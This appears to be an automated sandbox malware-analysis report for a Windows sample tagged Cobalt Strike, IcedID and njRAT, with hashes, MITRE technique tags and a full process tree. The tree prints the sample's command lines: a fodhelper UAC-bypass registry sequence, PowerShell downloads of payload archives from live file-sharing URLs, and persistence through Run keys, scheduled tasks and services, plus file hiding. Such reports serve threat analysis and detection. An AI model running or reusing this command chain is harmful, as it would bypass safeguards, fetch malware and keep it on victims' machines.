c5cb6655cd4821473559626136408404641a5e06d41197cdd44a1537d2fcbf80

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 11:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
Size 389KB
Sample260415-m53arse161
SHA256 c5cb6655cd4821473559626136408404641a5e06d41197cdd44a1537d2fcbf80
MD5 741aa393fa6a1288007a850a3fba9182
SHA1 08ddf10c2038b031913d2db6e9960c70bda8e659
SHA512 abd469618056fbf338a4daed54e37f5d9b1906d7afd1cf53984a95b70a8cf10a032d895cbf0b50c0440e8fd3d45f2a369a88b8dc450e46db63f06aebcb1422d2
SSDEEP 6144:9wVkCxohzRNBa2ZVcb62R80GtlcQ+14q/cXGzo:9wmWUNDcb6htl24
TLSH
T19F84381EFAA554F1C0B7D039C942641AFD7278AA4370A7DB27994A871F237E0E93DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://filebin.net/archive/brzouvz279rrm92p/zip

Extracted

Language

Source

URLs

exe.dropper
https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1356	powershell.exe
3	4272	powershell.exe
4	4272	powershell.exe
5	4272	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3152	icacls.exe
1332	icacls.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\payload_loader.vbs"	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Persistence = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\persistence_master.vbs"	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\payload_loader.vbs"	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Persistence = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\extracted\\persistence_master.vbs"	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Infector\Infector = "C:\\Users\\Admin\\AppData\\Local\\Temp\\TempInjection\\Infector\\infector.bat"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3012	powershell.exe
1356	powershell.exe
4272	powershell.exe

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3452	cmd.exe
4996	cmd.exe

Launches sc.exe 19 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3060	sc.exe
5000	sc.exe
5036	sc.exe
1348	sc.exe
3636	sc.exe
4304	sc.exe
4828	sc.exe
1696	sc.exe
728	sc.exe
432	sc.exe
3192	sc.exe
4736	sc.exe
3132	sc.exe
4900	sc.exe
2348	sc.exe
2940	sc.exe
2856	sc.exe
2564	sc.exe
2012	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
220	timeout.exe
4796	timeout.exe
4480	timeout.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command\ = "cmd.exe /c whoami"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command\DelegateExecute	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3660	schtasks.exe
3820	schtasks.exe
1084	schtasks.exe
696	schtasks.exe
2500	schtasks.exe
3312	schtasks.exe
796	schtasks.exe
4332	schtasks.exe
1592	schtasks.exe
1408	schtasks.exe
5008	schtasks.exe
2284	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
1356	powershell.exe
1356	powershell.exe
3012	powershell.exe
3012	powershell.exe
4272	powershell.exe
4272	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	whoami.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 4364	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	80
PID 4364 wrote to memory of 2612	4364	cmd.exe	81
PID 4312 wrote to memory of 2824	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	82
PID 2824 wrote to memory of 4088	2824	cmd.exe	83
PID 4312 wrote to memory of 4048	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	84
PID 4048 wrote to memory of 1052	4048	cmd.exe	85
PID 1052 wrote to memory of 2336	1052	fodhelper.exe	86
PID 2336 wrote to memory of 2260	2336	cmd.exe	88
PID 4312 wrote to memory of 1948	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	89
PID 1948 wrote to memory of 3152	1948	cmd.exe	90
PID 4312 wrote to memory of 4512	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	91
PID 4512 wrote to memory of 1356	4512	cmd.exe	92
PID 4312 wrote to memory of 1944	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	93
PID 1944 wrote to memory of 3012	1944	cmd.exe	94
PID 4312 wrote to memory of 4396	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	95
PID 4396 wrote to memory of 5012	4396	cmd.exe	96
PID 4312 wrote to memory of 3468	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	97
PID 4312 wrote to memory of 876	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	98
PID 876 wrote to memory of 4964	876	cmd.exe	99
PID 4964 wrote to memory of 4052	4964	cmd.exe	100
PID 4052 wrote to memory of 3132	4052	wscript.exe	102
PID 4052 wrote to memory of 796	4052	wscript.exe	104
PID 4964 wrote to memory of 220	4964	cmd.exe	107
PID 1524 wrote to memory of 4828	1524	WScript.exe	108
PID 1524 wrote to memory of 5008	1524	WScript.exe	110
PID 4312 wrote to memory of 664	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	112
PID 664 wrote to memory of 3248	664	cmd.exe	113
PID 3248 wrote to memory of 1968	3248	cmd.exe	114
PID 1968 wrote to memory of 2284	1968	wscript.exe	115
PID 1968 wrote to memory of 3088	1968	wscript.exe	117
PID 3248 wrote to memory of 4796	3248	cmd.exe	119
PID 740 wrote to memory of 3660	740	WScript.exe	122
PID 740 wrote to memory of 4020	740	WScript.exe	124
PID 4312 wrote to memory of 1480	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	126
PID 1480 wrote to memory of 4004	1480	cmd.exe	127
PID 4004 wrote to memory of 4812	4004	cmd.exe	128
PID 4004 wrote to memory of 4480	4004	cmd.exe	129
PID 4312 wrote to memory of 4888	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	130
PID 4888 wrote to memory of 4272	4888	cmd.exe	131
PID 4312 wrote to memory of 944	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	132
PID 4312 wrote to memory of 900	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	133
PID 4312 wrote to memory of 2788	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	134
PID 2788 wrote to memory of 2524	2788	cmd.exe	135
PID 4312 wrote to memory of 4236	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	136
PID 4312 wrote to memory of 4284	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	137
PID 4284 wrote to memory of 3152	4284	cmd.exe	138
PID 4312 wrote to memory of 4296	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	139
PID 4296 wrote to memory of 1332	4296	cmd.exe	140
PID 4312 wrote to memory of 4684	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	141
PID 4312 wrote to memory of 1076	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	142
PID 4312 wrote to memory of 3452	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	143
PID 3452 wrote to memory of 2116	3452	cmd.exe	144
PID 4312 wrote to memory of 3188	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	145
PID 3188 wrote to memory of 1356	3188	cmd.exe	146
PID 4312 wrote to memory of 2096	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	147
PID 2096 wrote to memory of 4900	2096	cmd.exe	148
PID 4312 wrote to memory of 668	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	149
PID 668 wrote to memory of 2348	668	cmd.exe	150
PID 4312 wrote to memory of 924	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	151
PID 924 wrote to memory of 2940	924	cmd.exe	152
PID 4312 wrote to memory of 2768	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	153
PID 2768 wrote to memory of 4896	2768	cmd.exe	154
PID 4312 wrote to memory of 596	4312	2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe	155
PID 596 wrote to memory of 432	596	cmd.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2504	attrib.exe
3156	attrib.exe
3480	attrib.exe
3088	attrib.exe
4020	attrib.exe
2116	attrib.exe
416	attrib.exe
2000	attrib.exe
2252	attrib.exe
4020	attrib.exe
2612	attrib.exe
4072	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_741aa393fa6a1288007a850a3fba9182_cobalt-strike_icedid_njrat.exe"
1⤵
- Checks system information in the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "cmd.exe /c whoami" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "cmd.exe /c whoami" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /d "" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /d "" /f
    3⤵
    - Modifies registry class
    PID:4088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c fodhelper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c whoami
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2336
    - - C:\Windows\system32\whoami.exe
        
        whoami
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
    3⤵
    - Modifies registry class
    PID:3152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/archive/brzouvz279rrm92p/zip', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/archive/brzouvz279rrm92p/zip', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted' -Force; Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted' -Force; Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted" 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted"
    3⤵
    PID:5012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c 7z x "C:\Users\Admin\AppData\Local\Temp\TempInjection\\brzouvz279rrm92p.zip" -o"C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted" -y 2>&1
  2⤵
  PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "temp_vbs_4312.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "temp_vbs_4312.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted\payload_loader.vbs"
      4⤵
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:4052
    - - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" create SystemUpdateSvc binPath= wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs start= auto
        5⤵
        Launches sc.exe
        
        PID:3132
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn SystemUpdate /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:796
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "temp_vbs_4312.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "temp_vbs_4312.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3248
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted\persistence_master.vbs"
      4⤵
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn Persistence /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2284
    - - C:\Windows\System32\attrib.exe
        
        "C:\Windows\System32\attrib.exe" +h C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs
        5⤵
        Views/modifies file attributes
        
        PID:3088
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "temp_vbs_4312.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "temp_vbs_4312.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\extracted\stealer_dropper.vbs"
      4⤵
      PID:4812
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('https://store3.gofile.io/download/web/54a1b9de-6665-4012-99a0-76952c9d67bd/payloadlibrary.rar', 'C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar'); Write-Output 'SUCCESS' } catch { Write-Output 'ERROR: ' + $_.Exception.Message }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\"Program Files"\WinRAR\WinRAR.exe x "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" "C:\Users\Admin\AppData\Local\Temp\TempInjection\" -y > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\"Program Files (x86)"\WinRAR\WinRAR.exe x "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" "C:\Users\Admin\AppData\Local\Temp\TempInjection\" -y > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" -C "C:\Users\Admin\AppData\Local\Temp\TempInjection\"
    3⤵
    PID:2524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c 7z x "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" -o"C:\Users\Admin\AppData\Local\Temp\TempInjection\" -y > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:4236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Everyone:(D) > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Everyone:(D)
    3⤵
    - Modifies file permissions
    PID:3152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Users:(D) > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar" /deny Users:(D)
    3⤵
    - Modifies file permissions
    PID:1332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.dll" "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.dll" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:4684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.bat" "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:1076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat"
    3⤵
    - Views/modifies file attributes
    PID:2116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" /f > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" /f
    3⤵
    - Adds Run key to start application
    PID:1356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create RootkitService binPath= "C:\Windows\System32\svchost.exe -k LocalService -s RootkitService" DisplayName= "Windows Root Kit Service" start= auto type= share > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\sc.exe
    sc create RootkitService binPath= "C:\Windows\System32\svchost.exe -k LocalService -s RootkitService" DisplayName= "Windows Root Kit Service" start= auto type= share
    3⤵
    - Launches sc.exe
    PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc description RootkitService "Windows Root Kit Service" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\system32\sc.exe
    sc description RootkitService "Windows Root Kit Service"
    3⤵
